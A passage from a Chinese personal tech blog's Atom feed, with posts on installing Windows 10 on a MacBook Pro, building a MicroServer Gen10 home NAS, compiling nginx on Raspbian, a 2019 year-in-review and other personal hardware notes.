<li>8G 以上的 U 盘（建议使用 USB 3.0 的）</li>
<li>USB Hub（建议使用 USB 3.0 的）</li>
<li>支持 Windows 的键鼠套装（在安装完整的 Bootcamp 驱动以前，内置键盘和触摸板用不了的）</li>
<li>机智的你</li>
</ul>
<p><strong>如果你使用的是带 T2 芯片的新款机型，请先根据 <a href="https://support.apple.com/zh-cn/HT208330">官方说明</a> 允许通过外部 USB 设备启动。</strong></p>
<h2>我的安装环境</h2>
<ul>
<li>机型：MacBook Pro (13-inch, 2017, Two Thunderbolt 3 ports)</li>
<li>操作系统：macOS 10.13.5 (17F77)</li>
<li>磁盘：256GB，只有 macOS 分区</li>
</ul>
<h2>分出 Windows 分区</h2>
<p>假如你打算留下 macOS，请使用这个命令调整 macOS 分区大小：</p>
<pre><code class="language-bash">diskutil apfs resizeContainer disk1 200GB    # 200GB 指你给 macOS 留的分区大小
</code></pre>
<p>这些数值可以酌情调整。但是，<strong>请确保有足够的剩余空间。</strong></p>
<h2>制作 Windows 10 安装盘</h2>
<p>下载好 Windows 10 ISO，插上你的 U 盘，然后先格式化一下：</p>
<p><img src="https://file.tcdw.net/blog/post/4ad94ead-a6cb-5253-9c68-0bb3e12336a2/format_usb_drive.png" alt="格式化 U 盘"></p>
<p>我们把 <strong>格式</strong> 设置为 <strong>MS-DOS (FAT)</strong>，<strong>方案</strong> 设置为 <strong>主引导记录</strong>。</p>
<p>然后我们打开 <strong>UNetbootin</strong>，选择 <strong>Diskimage</strong>，打开我们准备好的 Windows 10 ISO。下面的 <strong>Type</strong> 当然选择 <strong>USB Drive</strong>，然后将 <strong>Drive</strong> 设置成你要制作安装盘的 U 盘（如果不确定的话，可以把主机上所有其它 U 盘和读卡器什么的都拔掉，这样就只有一个选项了）。</p>
<p><img src="https://file.tcdw.net/blog/post/4ad94ead-a6cb-5253-9c68-0bb3e12336a2/make_disk.png" alt="UNetbootin"></p>
<p>然后点击 <code>OK</code>，耐心等待写入完毕就是了。</p>
<p><img src="https://file.tcdw.net/blog/post/4ad94ead-a6cb-5253-9c68-0bb3e12336a2/make_disk_progress.png" alt="写入过程"></p>
<p>在写入完毕后，我们打开 <strong>启动转换助理</strong>，选择 <strong>操作</strong> =&gt; <strong>下载 Windows 支持软件</strong>，并将保存位置设为我们的安装盘的根目录下。接下来我们会需要的。</p>
<p>下载即将结束时会向你请求权限，这是正常的，直接输入密码确认就行了。</p>
<p><img src="https://file.tcdw.net/blog/post/4ad94ead-a6cb-5253-9c68-0bb3e12336a2/windows_support_dl.png" alt="下载 Windows 支持软件"></p>
<h2>如果你尝试过 Boot Camp 安装</h2>
<p><strong>如果你没有尝试过 Boot Camp 安装，请跳过这一节！</strong></p>
<p>直接照着 <a href="https://superuser.com/questions/508026/windows-detects-gpt-disk-as-mbr-in-efi-boot">这篇帖子</a> 里面的方法做就行。</p>
<p>以及你需要先把 SIP 暂时关掉。</p>
<h2>开始安装</h2>
<p>把你的 U 盘、键盘和鼠标插上你的 USB Hub，并连接 MacBook。</p>
<p>重启你的 MacBook 并按住 Option 键，你会看到有好几个磁盘的选项。按方向键选择 <strong>黄色图标的 EFI Boot</strong>，然后回车。</p>
<p>然后先按提示一路走下去，然后到了选择磁盘这一步，你会发现没有磁盘可选。这是正常的，我们还需要加载驱动程序。</p>
<p>我们点击 <strong>加载驱动程序</strong>，再点击 <strong>浏览</strong>，找到 <code>C:\WindowsSupport\$WinPEDriver$\AppleSSD64</code>，确定。然后点击下一步。</p>
<p>稍后，我们就可以看到我们的磁盘分区了。我们按照正常的方法创建好分区，然后继续一路向前就是了。</p>
<h2>安装驱动</h2>
<p>当我们进入安装好的 Windows 10 以后，找到你安装 U 盘下的 <code>WindowsSupport\BootCamp</code> 文件夹，运行里面的 <code>setup.exe</code>，安装驱动程序，然后重新启动就是了。</p>
<p>然后就大功告成了，你的内置键盘、触摸板等一系列硬件都可以使用了。</p>
<h2>（在我设备上的）已知问题</h2>
<ul>
<li>Windows 睡眠时间过长以后，你需要经过完整的开机过程才能还原。</li>
<li>每次返回 macOS，你恐怕都需要按住 Option 键手工选择 macOS 分区。在设置里改 <strong>启动磁盘</strong> 不管用。</li>
<li>蓝牙工作异常</li>
</ul>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[为什么大家都在安利这一样东西？]]></title>
        <id>https://www.tcdw.net/post/mono-recommend/</id>
        <link href="https://www.tcdw.net/post/mono-recommend/"/>
        <updated>2020-08-21T09:45:38.000Z</updated>
        <summary type="html"><![CDATA[大概无数次我在各大群组里（看见别人）求某种东西的推荐，然后群友们就异口同声的说：「XXX（指同一件东西）不香吗？」  但是这样的安利反而让我感觉不安，因为：   一种东西肯定有它自己的优缺点，但是在那些群友的口中，给人一种 XXX 非常完美的错觉。   真的，跑分不能说明一切。  安利这种东西的群友中，大概率有相当一部分是它的 fanboy，然后如果你提出不太一样的安利，大概会跟你争个面红耳赤，甚至引起严重的不愉快。]]></summary>
        <content type="html"><![CDATA[<p>大概无数次我在各大群组里（看见别人）求某种东西的推荐，然后群友们就异口同声的说：「XXX（指同一件东西）不香吗？」</p>
<p>但是这样的安利反而让我感觉不安，因为：</p>
<ul>
<li>一种东西肯定有它自己的优缺点，但是在那些群友的口中，给人一种 XXX 非常完美的错觉。<br>真的，跑分不能说明一切。</li>
<li>安利这种东西的群友中，大概率有相当一部分是它的 fanboy，然后如果你提出不太一样的安利，大概会跟你争个面红耳赤，甚至引起严重的不愉快。<br>好吧，我大概是已经屈服于这种「政治正确」了。</li>
<li>有的群友可能只是云用户，在瞎起哄而已。</li>
</ul>
<p>所以为什么通常情况下，我越来越不想在群聊中为这种事情浪费时间了。我宁可自己问问 Google 娘。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[新的家庭服务器：MicroServer Gen10]]></title>
        <id>https://www.tcdw.net/post/microserver-gen10/</id>
        <link href="https://www.tcdw.net/post/microserver-gen10/"/>
        <updated>2020-01-10T11:02:42.000Z</updated>
        <summary type="html"><![CDATA[我的上一代家庭服务器是一台技嘉的 GB-BXBT-2807。其实作为家庭服务器来说，它是个还行的选择，但是内部只能安装一块 2.5 寸 9.5mm 以下的 SATA 硬盘，而且只有一个 USB 3.0 和两个 USB 2.0 接口。]]></summary>
        <content type="html"><![CDATA[<p>我的上一代家庭服务器是一台技嘉的 <a href="https://www.gigabyte.com/Mini-PcBarebone/GB-BXBT-2807-rev-10">GB-BXBT-2807</a>。其实作为家庭服务器来说，它是个还行的选择，但是内部只能安装<strong>一块</strong> 2.5 寸 9.5mm 以下的 SATA 硬盘，而且只有一个 USB 3.0 和两个 USB 2.0 接口。</p>
<p>我家的上传速率其实还是可以的，而随着我开始尝到<strong>私有云</strong>的甜头，我陆续增加了三块硬盘。然而因为它只有一个 USB 3.0 接口，所以最后我的家庭服务器变成了这个样子。</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/old_nuc.jpg" alt="胶水 NAS"></p>
<p>看来，我需要一台真正的多盘位 NAS 服务器了。我一度考虑过以下方案：</p>
<ul>
<li>搞个蜗牛星际。但是在 KK 家摸到真机以后，我对它的做工倍感失望。</li>
<li>买个<a href="https://www.ipc.in-win.com/soho-smb-iw-ms04">迎广 MS04</a>，自己从头攒一台 NAS 出来。但是这样的话，总支出大概不会跟买一台 Gen10 差太远，而且保修这个问题会变得比较复杂。</li>
</ul>
<p>最终，我还是决定购买 HPE ProLiant MicroServer Gen10。</p>
<p>可以说，这款主机对我来说，几乎是完美的：</p>
<ul>
<li>4 盘位（虽然并不是热插拔）</li>
<li>低功耗（x3216 的 TDP 只有 15w）</li>
<li>主机本身是正常的 x86 PC，可以很方便的安装各种主流 Linux 发行版</li>
<li>做工良好，可靠性强</li>
<li>有<strong>两个</strong> PCI-E 插槽（分别为 x8 和 x1），未来升级万兆会很方便</li>
<li>接口丰富：四个 USB 3.0、两个 USB 2.0、两个千兆以太网口、两个全尺寸 DP 和一个 VGA</li>
<li>预装 8GB DDR4 <strong>ECC</strong> 内存</li>
<li>……</li>
</ul>
<p>就这样，我以 2.8k CNY 的价格在美亚拿下了这玩意。其实我一开始考虑从德亚买的，只要 2.5k（当时），但是并不能直邮到中国。为了省事，我就直接在美亚买了。</p>
<h2>安装</h2>
<p>近两周以后，它抵达了我家。到手的第一件事，当然是拆开检查一下了。箱子中并没有太多的东西（主机、美标品字电源线和一堆小册子），不过对于它的目标用户来说大概够了吧。</p>
<p>顺便那条品字电源线用的是<strong>带接地的</strong>美标插头，这使得它并不能在新国标的插线板上使用。所以如果你家没有多余的品字电源线，别忘了单独买一条！</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_2.jpg" alt="Gen10 正面"></p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_3.jpg" alt="Gen10 背面"></p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_4.jpg" alt="Gen10 左侧"></p>
<p>PSU 是台达的 flex 电源，宽电压，最大输出 200W；输出有 24pin x1、大 4P x1 和小 4P（软驱电源插头）x1。</p>
<p>接下来就要安装硬盘了。这玩意并没有独立的硬盘仓，所以你需要这样安装硬盘：</p>
<ol>
<li>从硬盘仓顶部拧下来 4 颗螺丝</li>
<li>把这 4 颗螺丝拧到硬盘两侧最左面和最右面的孔位上<br><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_11.jpg" alt="硬盘上的螺丝"></li>
<li>把硬盘正面朝右，稍微用力的推进硬盘仓。移除硬盘也是超级容易的（见硬盘仓左下角贴纸）：<br><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_12.jpg" alt="硬盘仓（安装后）"></li>
</ol>
<p>然后就开始安装系统 SSD 了。这玩意并没有 M.2 NVMe 插槽，但是在主板上提供了一个额外的 SATA 接口，所以我买了一块普通的 SATA SSD。</p>
<p>然而，Gen10 的 PSU 并没有多余的电源线，你能利用的只有那个小 4P 插头。所以你需要买这样的转接线：</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/Snipaste_2020-01-10_17-35-24.png" alt=""></p>
<p>我那个 Gamemax 机箱正好附送了一根这样的转接线，所以我就直接拿来用了。</p>
<p>至于 SSD 的固定……Gen10 上侧的那几个空位是给你固定笔记本光驱用的，所以你的 SSD 大概就只能这样放着。当然你可以再买个笔记本光驱位转硬盘位之类的东西，不过 NAS 这种东西本身也不需要经常挪动，再说 SSD 里面并没有活动的部件，所以我就无所谓了。</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_14.jpg" alt="系统 SSD（安装后）"></p>
<h2>系统</h2>
<p>我选用的是 Ubuntu 18.04 LTS。因为：</p>
<ul>
<li>Ubuntu 是我熟悉的发行版系列</li>
<li>我拥有充分的控制能力</li>
</ul>
<p>安装过程没什么坑，一切都在预料之中。随后，我通过 apt 安装了各种我需要的软件（nginx、Aria2、Transmission 等），写好 <code>/etc/fstab</code> 表，就大功告成了。</p>
<p>目前，我的硬盘使用情况如下：</p>
<table>
<thead>
<tr>
<th align="left">硬盘</th>
<th align="left">安装位置</th>
<th align="left">用途</th>
</tr>
</thead>
<tbody><tr>
<td align="left">东芝 240G SSD（TR200）</td>
<td align="left">顶部</td>
<td align="left">系统盘</td>
</tr>
<tr>
<td align="left">东芝 2T 监控盘（DT01ABA200V）</td>
<td align="left">硬盘仓 1</td>
<td align="left">一般文件存储</td>
</tr>
<tr>
<td align="left">西数 4T 蓝盘（WD40EZRZ）</td>
<td align="left">硬盘仓 2</td>
<td align="left">BT/PT 下载</td>
</tr>
</tbody></table>
<p>同时，我还有一块 2T 的东芝移动硬盘用于冷备份；我会定期将它连接到 Gen10 上，运行我的脚本来进行 rsync。</p>
<p>嗯，我觉得目前就足够了。等将来有需求的话，再考虑加硬盘吧。</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/gen10_15.jpg" alt="完工"></p>
<h3>2024 更新</h3>
<p>这台机子还在服役，但是我后来又买了三块 4T 硬盘来组建 RAID-Z1 阵列，同时为了降低运维难度（其实是我懒），所以把系统换成了 TrueNAS Scale。</p>
<p>内存也加到了 16G，因为 ZFS 对内存的需求更多一些。</p>
<h2>系统运行</h2>
<p>我之前的确考虑过 CPU 的问题，毕竟这玩意是焊在主板上的。但我的需求不高（就是存取文件和下载啥的，顺便开个 web 服务器），即使是看动画的话，解码都在客户端完成，所以也就 Gen10 了。</p>
<p>实测我的 CPU 负载一般可以控制在 1.0 以下；如果我真的需要算力，大概我就直接拿主力机器搞事了。</p>
<p><img src="https://file.tcdw.net/blog/post/7e2efde0-398c-58cb-8409-3467324f82c0/Snipaste_2020-01-12_00-09-16.png" alt="neofetch"></p>
<hr>
<div class="video-container"><iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/p3itJBdn5FY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2019]]></title>
        <id>https://www.tcdw.net/post/2019/</id>
        <link href="https://www.tcdw.net/post/2019/"/>
        <updated>2020-01-01T03:18:36.000Z</updated>
        <summary type="html"><![CDATA[好耶，我终于把 2019 年瞎鸡巴过完了！  感觉今年反而是相当平淡的一年，所以其实并没有太多的要讲。都是无病呻吟   成就   考到了 C1 驾照  获得了 5000 元的奖学金（第一次！）   面基  今年去了广州、福州和深圳，在线下见到了 qwe7002（又一次）、whitebox、寿司同学和 kookxiang。]]></summary>
        <content type="html"><![CDATA[<p>好耶，我终于把 2019 年瞎鸡巴过完了！</p>
<p>感觉今年反而是相当平淡的一年，所以其实并没有太多的要讲。<del>都是无病呻吟</del></p>
<h2>成就</h2>
<ul>
<li>考到了 C1 驾照</li>
<li>获得了 5000 元的奖学金（第一次！）</li>
</ul>
<h2>面基</h2>
<p>今年去了广州、福州和深圳，在线下见到了 qwe7002（又一次）、whitebox、寿司同学和 kookxiang。</p>
<p>我们一起玩了马车 8，一起进行技术交流，还在 kookxiang 家参观了多种灵车。<del>然后 tcdw 对蜗牛星际的做工倍感失望，一怒之下买了 HPE Microserver Gen10。</del></p>
<p>开心！</p>
<h2>买买买</h2>
<p>今年买到了不少很棒的新硬件：</p>
<ul>
<li>Nintendo Switch<br>相当便携；上面的第一方游戏真的太好玩了，还有很多不错的第三方游戏。吹爆！</li>
<li>Dell UltraSharp U2518D<br>颜色非常舒适的 2K 显示器，还内置 USB Hub！</li>
<li>AOC P2491VWHE/BW<br>还行的 1080p 显示器，功耗很低（我的实测只有 18w 左右）。最初是买来给宿舍用的，奈何我的桌子太小了，所以也搬回家里用了……Switch 大屏游戏？暂且算了吧 🤣</li>
<li>小米 CC9e<br>便宜，日常应用体验很流畅！虽然屏幕分辨率<strong>很低</strong>，不过对我的使用场景来说够用了（大概）。</li>
<li>树莓派 4<br>好耶，是千兆以太网和 USB 3.1 gen1。</li>
<li>Intel Core i7-3770（散片）<br>我家那台戴尔应该可以再战几年了！</li>
<li>HPE Microserver Gen10（在撰写本博文时还在路上）</li>
</ul>
<p>同时在文娱方面增加了不少支出；今年我购买了大量的音乐（139 张专辑和 EP，包括数字专辑、捡垃圾和海淘）。其中我非常喜欢的有：</p>
<ul>
<li><a href="https://music.apple.com/jp/album/hisohiso-banashi/1481464093">ずっと真夜中でいいのに。 - 潜潜話</a></li>
<li><a href="https://music.apple.com/jp/album/%E6%96%87%E5%8C%96/1312575491">Eve - 文化</a></li>
<li><a href="https://music.apple.com/jp/album/water/1308122849">SHE IS SUMMER - WATER</a></li>
<li><a href="https://music.apple.com/jp/album/eufonius/444357679">eufonius - eufonius+</a></li>
<li><a href="https://music.apple.com/jp/album/kokohadoko-ep/541859351">釘宮理恵 - kokohadoko</a></li>
<li><a href="https://music.apple.com/jp/album/hi-fi-pops/1364394084">ORESAMA - Hi-Fi POPS</a></li>
<li><a href="https://music.apple.com/jp/album/%E6%9C%A8%E6%B4%A9%E9%99%BD%E9%80%9A%E3%82%8A%E3%81%AB%E3%81%A6/121946272">LAMP - 木洩陽通りにて</a></li>
<li>……</li>
</ul>
<p>以及我看着 Telegram 群里的大佬们买各种 <a href="https://t.me/Hearse_Drifting">灵车</a> 买的不亦乐乎，结果我看了半天什么都没买……不过也没什么实际意义啊，而且没那么可靠吧（？）</p>
<h2>博客</h2>
<p>今年的确没有写很多博文。大概我对这种东西的兴趣也开始下降了吧，主要感觉很多事情不是不值得写就是不适合写……</p>
<p>不过放心，我目前还没有关掉这博客的打算呢。</p>
<p>稍后打算把我的域名都转移到 Cloudflare 了；name.com 续费死贵。</p>
<p>以及想写个新的博客主题了，但是没什么头绪……</p>
<h2>2020 年计划？</h2>
<p>待定！计划赶不上变化的。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在树莓派（Raspbian）上安装最新稳定版 nginx]]></title>
        <id>https://www.tcdw.net/post/raspbian-latest-stable-nginx/</id>
        <link href="https://www.tcdw.net/post/raspbian-latest-stable-nginx/"/>
        <updated>2019-11-05T03:35:40.000Z</updated>
        <summary type="html"><![CDATA[如果需要在 Raspbian 上安装最新稳定版 nginx，其实官方是 提供了 Debian 的 apt 源 的，但是并没有提供 armhf 的二进制文件。  于是，我们只好自己通过 Debian 的方式编译安装了。   此方法优点   安装好的 nginx，配置文件路径、维护方法等与官方 Debian 版 nginx 一致。]]></summary>
        <content type="html"><![CDATA[<p>如果需要在 Raspbian 上安装<strong>最新稳定版 nginx</strong>，其实官方是 <a href="http://nginx.org/en/linux_packages.html#Debian">提供了 Debian 的 apt 源</a> 的，但是并没有提供 <code>armhf</code> 的二进制文件。</p>
<p>于是，我们只好自己通过 Debian 的方式编译安装了。</p>
<h2>此方法优点</h2>
<ul>
<li>安装好的 nginx，配置文件路径、维护方法等与官方 Debian 版 nginx <strong>一致</strong>。</li>
<li>如果需要卸载 nginx，只需执行 <code>sudo apt purge nginx</code>。</li>
</ul>
<h2>步骤</h2>
<h3>1. 安装添加官方 apt 源前所需的包</h3>
<pre><code class="language-bash">sudo apt install curl gnupg2 ca-certificates lsb-release
</code></pre>
<h3>2. 添加官方 apt 源</h3>
<pre><code class="language-bash"># 添加官方 apt 源。与官方说明不同的是，由于我们需要源代码，这里添加的是 deb-src 而不是 deb
echo &quot;deb-src http://nginx.org/packages/debian `lsb_release -cs` nginx&quot; | sudo tee /etc/apt/sources.list.d/nginx.list

# 添加 PGP 公钥
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt-key fingerprint ABF5BD827BD9BF62

# 下载最新的软件包列表
sudo apt update
</code></pre>
<h3>3. 安装 nginx 所需的依赖</h3>
<pre><code class="language-bash">sudo apt build-dep nginx
</code></pre>
<h3>4. 下载 nginx 的源代码</h3>
<pre><code class="language-bash"># 建议单独建立文件夹来存放此次 nginx 编译所需文件，因为你的工作目录会多出若干文件
mkdir nginx_build
cd nginx_build

# 下载源代码
apt source nginx
</code></pre>
<h3>5. 编译安装</h3>
<p>此时我们检查目录下有什么文件：</p>
<pre><code class="language-text">drwxr-xr-x 10 tcdw tcdw    4096 Nov  5 03:20  nginx-1.16.1
-rw-r--r--  1 tcdw tcdw  114248 Aug 13 17:17  nginx_1.16.1-1~buster.debian.tar.xz
-rw-r--r--  1 tcdw tcdw    1510 Aug 13 17:17  nginx_1.16.1-1~buster.dsc
-rw-r--r--  1 tcdw tcdw 1032630 Aug 13 17:17  nginx_1.16.1.orig.tar.gz
</code></pre>
<p>由此可见，此次我们需要先进入 <code>nginx-1.16.1</code> 文件夹。<strong>实际文件夹名称可能会由于版本更新而与本文不一致</strong>，但应该只有那一个文件夹，且所有相关文件 / 文件夹均以 <code>nginx-</code> 开头。</p>
<pre><code class="language-bash">cd nginx-1.16.1
</code></pre>
<p>开始编译安装：</p>
<pre><code class="language-bash">dpkg-buildpackage -uc -b
</code></pre>
<p>完成后，返回上一层目录，发现我们的目录中出现了 <code>nginx_1.16.1-1~buster_armhf.deb</code> 文件。我们现在可以开始安装了：</p>
<pre><code class="language-bash">sudo dpkg -i nginx_1.16.1-1~buster_armhf.deb
</code></pre>
<p>大功告成！</p>
<p><img src="https://file.tcdw.net/blog/post/bf29fba0-fcb9-5658-af98-c99c9075a99e/Snipaste_2019-11-05_11-01-58.png" alt="nginx -V 的输出"></p>
<h2>升级新版本</h2>
<p>重复第 4 - 5 步即可。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[驾照]]></title>
        <id>https://www.tcdw.net/post/20190726/</id>
        <link href="https://www.tcdw.net/post/20190726/"/>
        <updated>2019-07-26T15:09:21.000Z</updated>
        <summary type="html"><![CDATA[今天我考了科目四，一次过关。  我从 2017 年 6 月就在驾校报名了，但是因为我的拖延症和一些客观原因，我的战线延续了整整两年：   科目一：2017 年 8 月  科目二：2019 年 1 月  科目三：2019 年 7 月  科目四：今天（7 月 26 日）  太丢人了，同样是 2017 年参加完高考的学生，我居然在两年后的夏天才拿本（捂脸]]></summary>
        <content type="html"><![CDATA[<p>今天我考了科目四，一次过关。</p>
<p>我从 2017 年 6 月就在驾校报名了，但是因为我的拖延症和一些客观原因，我的战线延续了整整两年：</p>
<ul>
<li>科目一：2017 年 8 月</li>
<li>科目二：2019 年 1 月</li>
<li>科目三：2019 年 7 月</li>
<li>科目四：今天（7 月 26 日）</li>
</ul>
<p>太丢人了，同样是 2017 年参加完高考的学生，我居然在两年后的夏天才拿本（捂脸</p>
<p>不过结果实现了，我也就这样变成了一位有证<del>老</del>司机了，还是可喜可贺的。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[宿舍用小型 UPS 电源与新台灯]]></title>
        <id>https://www.tcdw.net/post/ups-power-supply-and-lamp/</id>
        <link href="https://www.tcdw.net/post/ups-power-supply-and-lamp/"/>
        <updated>2019-05-19T08:20:38.000Z</updated>
        <summary type="html"><![CDATA[去年 11 月，我购买了一部二手的联想手机，把自己的电信米粉卡塞了进去，用来运行 Telegram SMS 和开热点。这部手机其实一切都好，但是有个问题：电池不耐用。因为我们会定时熄灯，导致手机并不能 24 小时充电，因此：   如果一直开热点，第二天就没电了。  如果按需开热点可以解决，但这部手机开热点的过程很麻烦，需要进入多级菜单。]]></summary>
        <content type="html"><![CDATA[<p>去年 11 月，我购买了一部二手的联想手机，把自己的电信米粉卡塞了进去，用来运行 <a href="https://github.com/telegram-sms/telegram-sms">Telegram SMS</a> 和开热点。这部手机其实一切都好，但是有个问题：电池<strong>不耐用</strong>。因为我们会定时熄灯，导致手机并不能 24 小时充电，因此：</p>
<ul>
<li>如果一直开热点，第二天就没电了。</li>
<li>如果按需开热点可以解决，但这部手机开热点的过程很麻烦，需要进入多级菜单。</li>
</ul>
<p>我其实还考虑过使用充电宝，但是：</p>
<ul>
<li>我的品胜充电宝，如果重新插入电源，那么充电过程就会中止，必须手工再启动一次。</li>
<li>我的紫米充电宝，尽管可以即插即用，但是如果在断电的情况下手机充满电，那么就会自动停止充电。</li>
<li>我的 Anker 充电宝，容量太小了（只有 5000 毫安）。</li>
</ul>
<p>虽然我理解这些充电宝的设计是有道理的，但显然不能满足我的需求。几个月以后，忍无可忍的我决定试试传说中的那种适合宿舍用路由器的 UPS。</p>
<p>几天以后，UPS 到了。</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0582_resized.jpg" alt="UPS 的外包装">
<img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0583_resized.jpg" alt="正面">
<img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0584_resized.jpg" alt="背面"></p>
<p>我选购的这款 UPS 可同时提供 USB、5V 和 9V / 12V 输出（可以通过开关切换 9V / 12V）；最大输出电流为 2A（所有端口总和）。</p>
<p>同时，它使用 DC 输入，非常节约空间。</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0585_resized.jpg" alt=""></p>
<p>我把它接上了我的手机，让这部 UPS 为我的手机持续供电。效果还是不错的：我同时开着 Telegram SMS、代理软件和热点，也不用担心手机中途断电啦。</p>
<hr>
<p>不久以后，我们团队在一个省级比赛获得了一等奖，每个人都得到了这样的奖品：飞利浦台灯。</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/IMG_0676_resized.jpg" alt="">
<img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0611_resized.jpg" alt=""></p>
<p>因为这部台灯使用 12V 输入，功耗很低，我便把它接入了我的 UPS。这样，即使熄灯也可以使用啦。</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0614_resized.jpg" alt=""></p>
<p>⇧ 旧的『宿舍神灯』。</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/DSC_0615_resized.jpg" alt=""></p>
<p>⇧ 新的飞利浦台灯。从我的实际感觉看，光线还是比那部『宿舍神灯』要舒服的，而且还有四档调光，非常灵活。</p>
<p>总之，很开心获得这么一套装备升级。我可以变得更懒惰了！</p>
<h2>20190612 更新：一加 3T</h2>
<p>我的联想电池鼓包了，连盖子都盖不上了。考虑到这部联想的坑爹之处，我买了一部二手一加 3T 作为 Telegram SMS 服务器使用。</p>
<p>目前来看，它的电池并不是很坑爹，所以只需要用普通的 2A 电源定时充电即可。</p>
<p>于是这 UPS 的供电目标就只剩下那个台灯了。不过不知道未来还会发生什么…… 😅</p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/phone_spec.jpg" alt="phone spec"></p>
<p><img src="https://file.tcdw.net/blog/post/a494d899-93f7-59d5-902d-299c88e72035/phone_ststus.jpg" alt="phone status"></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[拆解我爸 2010 年装的廉价 PC]]></title>
        <id>https://www.tcdw.net/post/crap-pc-teardown/</id>
        <link href="https://www.tcdw.net/post/crap-pc-teardown/"/>
        <updated>2019-01-18T09:54:26.000Z</updated>
        <summary type="html"><![CDATA[2010 年，我爸觉得我家的 P4 台式机太过时了，所以就花 2k 托人组装了一台新 PC。  然而这台 PC 不仅卡顿时常发生，而且非常不稳定，经常死机、蓝屏，期间我还被母上大人认为我是让那台 PC 不稳定的罪魁祸首，因为我安装的那么几款软件，结果我没少被母上大人数落。😒😒😒半年以后，那台机器突然无法开机，甚至不会 POST，然后我爸只好把同一位 JS 叫过来进行维修。然后，JS 把那块烧掉的双敏主板换掉了。]]></summary>
        <content type="html"><![CDATA[<p>2010 年，我爸觉得我家的 P4 台式机太过时了，所以就花 2k 托人组装了一台新 PC。</p>
<p>然而这台 PC 不仅卡顿时常发生，而且非常不稳定，经常死机、蓝屏，期间我还被母上大人认为我是让那台 PC 不稳定的罪魁祸首，因为我安装的那么几款软件，结果我没少被母上大人数落。😒😒😒半年以后，那台机器突然无法开机，甚至不会 POST，然后我爸只好把同一位 JS 叫过来进行维修。然后，JS 把那块烧掉的双敏主板换掉了。</p>
<p>2011 年，我爸给我买了一块 1TB 的希捷移动硬盘，但是在那台机器上带！不！动！，必须连接外置电源才能正常启动。</p>
<p>2013 年，因为母上大人实在不能忍受那台 PC，所以购买了一台戴尔整机（经过我的几次硬件升级，目前还在我家服役中）。而那台廉价 PC 就拿到我爸那边做监控机，结果半年以后硬盘就完蛋了，SMART 状态为不良，0x05 爆表。随后，我舅舅又拿来一块闲置 80 GB 硬盘，在我爸那边做工控设备，直到 2018 年 7 月彻底完蛋，甚至不再 POST 了。然后那台机器就在仓库里又放了半年。</p>
<p>2019 年，我把那台 PC 从我爸仓库搬了回来，决定看看还有没有什么利用价值。</p>
<h2>做工廉价的机箱</h2>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc.jpg" alt="机箱"></p>
<p>这个机箱从外面看还像是那么回事，但是轻飘飘的，而且金属部分甚至会划手。</p>
<p>不过我丢掉了这个机箱才想起来忘了拍照了。</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-0.jpg" alt="前面板"></p>
<p>做工粗糙，而且接线的地方是用热胶固定的……什么鬼……</p>
<h2>机箱内部</h2>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-8.jpg" alt="机箱内部"></p>
<p>散发着寒意而且相当脏乱差的内部。</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-6.jpg" alt="CPU"></p>
<p>安装在主板上的 CPU 和 768 MB DDR2 内存。CPU 与风扇之间的硅脂所剩无几的样子，不知道是当年给我爸装机的那 JS 敷衍了事，还是发生了什么黑魔法。</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-4.jpg" alt="CPU 本体"></p>
